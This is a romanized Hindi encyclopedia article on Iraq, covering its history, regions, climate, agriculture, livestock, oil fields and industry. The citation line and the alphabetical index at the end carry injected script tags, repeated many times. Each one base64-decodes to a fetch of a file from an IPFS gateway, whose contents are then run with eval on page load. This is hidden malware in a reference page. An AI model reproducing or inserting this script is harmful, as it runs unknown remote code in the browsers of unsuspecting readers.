इराक

irak dakshin pashchim eshiya ka ek svatantr rajy hai jo pratham mahayuddh ke bad mosul, bagadad evan basara namak atomanh‌ samrajy ke tin praantoan ko milakar 1919 ee. mean barasaee ki sandhi dvara sthapit hua tatha aantararashtriy parishadh dvara briten ko shasanarth sauanpa gaya. sanh‌ 1921 ee. mean hezaj ke raja husen ka tritiy putr phaizal jab irak ka raja ghoshit kiya gaya tab yah ek saanvaidhanik rajatantr ban gaya. aktoobar, 1932 ee. ko briten ki shasanavadhi samapt hone par yah rajy poornat: svatantr ho gaya. hal mean hi (julaee, 1959 ee. mean) sainik kraanti ke bad yah ganatantr rajy ghoshit kiya gaya hai. sainik kraanti ke poorv yah rajy bagadad-sainik-sandhi dvara briten, sanyukt rajy (amarika), turki, j aaurdan, eeran evan pakistan se sanbaddh tha, kiantu kraanti ke bad yah svatantr evan tatasth niti ka anusaran karane laga hai. isake uttar mean turki, uttar pashchim mean siriya, pashchim mean j aaurdan, dakshin pashchim mean soodi arab, dakshin mean pharas ki kha di evan kuvait haian. nineve evan baibilon ke bhagnavashesh aj bhi isake prachin vaibhav ke pratik haian. kshetraphal 1,69,240 varg mil hai aur janasankhya 88,00,000 (1968). bagadad (janasankhya 21,24,323) pramukh nagar evan rajadhani hai. basara (janasankhya 6,73,623), mosool (janasankhya 9,54,157), kirakak (janasankhya 4,62,027) tatha najaph (janasankhya 5,48,830) any mukhy nagar haian. janasankhya ke 96 pratishat log islam dharm ko manate haian jinamean shiya matanuyayi adhe se kuchh adhik haian. rajyabhasha arabi hai.

irak tin bhaugolik khandoan mean vibhakt hai:

kurdistan (irak ke uttar poorv ka parvatiy bhag) jisake shikhar irak-eeran-sima par lagabhag 10,000 phut ooanche haian. isake aantargat alasulemaniyaan ka urvar evan ooancha maidan hai. yahaan ke nivasi kurd log b de upadravi haian.
mesopotemiya ka urvar maidan: mesopotemiya pharat evan dajala nadiyoan ki den hai. ye nadiyaan arminiya ke pathar se nikalati haian tatha kramash: 1460 evan 1150 mil tak pravahit ho shat-al-arab ke nam se pharas ki kha di mean girati haian. 10,000-5,000 ee. poorv mean ye nadiyaan alag alag pharas ki khadi mean girati thian. isaka dakshini bhag, bagadad se basara tak, jo lagabhag 300 mil lanba hai, aitihasik kal mean prakritik karanoan se nirmit hua hai. yah bhag daladali hai. yahaan ki mukhy upaj chaval evan khajoor hai. shat-al-arab ke donoan tatoan par ek se do mil chau de kshetr mean khajoor ke saghan van milate haian. mesopotemiya ke uttari bhag mean gehooan, jau evan phal ki kheti hai.
steps evan marusthali khand, jo dakshin pashchim mean 50 se 100 phut ka tivr dhal dvara mesopotemiya ke maidan se prithakh‌ haian. irak ki jalavayu shushk hai. yahaan ka dainik evan varshik tapaantar adhik tatha ausat varsha keval 10 hai. kurdistan ke parvatiy bhag mean alpain jalavayu milati hai jahaan varsha 25 se 30 tak hoti hai. pharat evan dajala ki ghati mean roomasagariy jalavayu milati hai tatha pharas ki kha di ke samip duniya ka ek bahut hi ushn bhag sthit hai. isake dakshin pashchim mean ushn marusthaliy jalavayu hai. bagadad ka uchchatam tap 123° pha. tatha nyoonatam tap 19° pha. tak paya gaya hai. yahaan varsha keval 6 hoti hai. uttari mesopotemiya mean varsha 15 tatha dakshin pashchim mean marusthal mean 5 se bhi kam hoti hai.

uttari irak mean roomasagariy vanaspati milati hai. isake adhik bhag vrikshavihin haian. yahaan chinar, akharot evan manushyoan dvara lagae ge any phaloan ke pe d milate haian. dakshini irak ke kam varshavale bhag mean keval kantili jh diyaan milati haian. nadiyoan ki ghatiyoan evan sianchit kshetr mean ta d, khajoor evan chinar ke pe d milate haian.

irak krishipradhan evan pashupalak desh hai jisake 90 prati shat nivasi apani jivika ke lie bhoomi par ashrit haian. phir bhi isake keval tin pratishat bhag mean krishi ki jati hai. isaki mitti atyadhik urvara hai, kiantu adhikaansh kshetr aise haian jahaan sianchaee ke bina krishi sanbhav nahian haian. sianchaee nahar, dijal ianjan dvara chalit panp adi sadhanoan dvara ki jati hai. lagabhag 74,50,000 ek d bhoomi sianchit hai. ja de mean jau evan gehooan tatha garmi mean dhan, makka, jvar evan bajara ki kheti hoti hai. makka evan jvar bajara madhy irak ki mukhy upaj hai. aanjir, akharot, nashapati, kharabooje adi phal vishesh roop se shat-al-arab ke kshetr mean hote haian. irak sansar ka 90 prati shat khajoor utpann karata hai. yahaan lagabhag 640 lakh ke pe d haian jinase lagabhag 3,50,000 tan khajoor prati varsh prapt hota hai. kuchh rooee nadiyoan ki ghatiyoan mean tatha tanbakoo evan aangoor kurdistan ki talahati mean hota hai.

yahaan ki khanabadosh evan ardh khanabadosh jatiyaan ooant, bhe d tatha bakare charati haian. dugdhapashu pharat evan dajala ke maidan mean, bhe d jajira evan kurdistan mean, bakare uttar poorv ki paha diyoan mean tatha ooant dakshin pashchim ke marusthal mean pale jate haian. khanij tel ke lie irak jagatprasiddh hai. sanh‌ 1956 mean khanij tel ka utpadan 306 lakh tan tha. yahaan tel ke tin kshetr haian: (1) babagujar, kirakar ke nikat, jo tel ka atyadhik dhani kshetr haian; (2) natphakhana, eeran ki sima ke nikat, khanakin se 30 mil dakshin; (3) ain zaleh, mosool ke uttar. bagadad ke nikat daura tatha masool jile mean gayyarah namak sthanoan mean tel saph karane ke karakhane haian. sanh‌ 1955 ee. mean irak ko tel kanpaniyoan dvara 7,37,40,000 iraki dalar rajyakar ke roop mean mila. khanij tel ke atirikt bhoora koyala (ligh‌nait) kaphrii mean tatha namak evan jipsam any sthanoan mean prapt hota hai.

irak mean keval chhote udyogoan ka vikas hua hai. 1954 ee. mean audyogik shramikoan ki janasankhya 90,000 thi. bagadad mean ooni kap de evan dari bunane ke atirikt diyasalaee, sigaret, sabun tatha vanaspati ghi ke udyog haian. mosool mean kritrim resham evan mady ke karakhane haian. irak ke mukhy niryat khanij tel, khajoor jau, kachcha, cham da, oon evan rooee haian tatha ayat kap da, mashin, motaraga diyaan, loha, chini evan chay haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 537-38 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 537-38 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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